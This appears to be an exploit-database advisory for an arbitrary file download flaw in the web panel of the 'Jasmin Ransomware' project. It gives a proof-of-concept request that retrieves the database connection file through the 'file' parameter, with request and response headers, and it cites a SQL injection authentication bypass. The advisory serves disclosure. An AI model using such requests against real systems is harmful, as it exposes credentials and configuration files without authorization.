<\/p>\n
# Exploit Title: Jasmin Ransomware - (Authenticated) Arbitrary File Download
\n# Google Dork: N\/A
\n# Date: 22-03-2025
\n# Exploit Author: bRpsd cy[at]live.no
\n# Vendor Homepage: https:\/\/github.com\/codesiddhant\/Jasmin-Ransomware
\n# Software Link: https:\/\/github.com\/codesiddhant\/Jasmin-Ransomware
\n# Version: N\/A
\n# Tested on: MacOS local xampp
\n
\n
\nAuthentication can be easily bypassed due to SQL Injection as mentioned in:
\nhttps:\/\/www.exploit-db.com\/exploits\/52091
\n
\n
\n
\nVulnerable file:Web Panel\/download_file.php
\nVulnerable parameter:file
\nVulnerable code:
\n
\n
\n
\nProof of concept:
\n
\nhttp:\/\/localhost\/Jasmin-Ransomware\/Web Panel\/download_file.php?file=database\/db_conection.php
\nHost: localhost
\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko\/20100101 Firefox\/136.0
\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8
\nAccept-Language: en-US,en;q=0.5
\nAccept-Encoding: gzip, deflate, br, zstd
\nConnection: keep-alive
\nCookie: PHPSESSID=88e519f73f9013f560ed3f0514015d8c
\nUpgrade-Insecure-Requests: 1
\nSec-Fetch-Dest: document
\nSec-Fetch-Mode: navigate
\nSec-Fetch-Site: none
\nSec-Fetch-User: ?1
\n
\nGET: HTTP\/1.1 200 OK
\nDate: Sat, 22 Mar 2025 09:42:09 GMT
\nServer: Apache\/2.4.53 (Unix) OpenSSL\/1.1.1o PHP\/7.4.29 mod_perl\/2.0.12 Perl\/v5.34.1
\nX-Powered-By: PHP\/7.4.29
\nExpires: Thu, 19 Nov 1981 08:52:00 GMT
\nCache-Control: public
\nPragma: no-cache
\nContent-Description: File Transfer
\nContent-Disposition: attachment; filename=database\/db_conection.php
\nContent-Transfer-Encoding: binary
\nContent-Length: 95
\nKeep-Alive: timeout=5, max=100
\nConnection: Keep-Alive
\nContent-Type: text\/encoded;charset=UTF-8\n <\/code><\/pre>\n<\/p><\/div>\n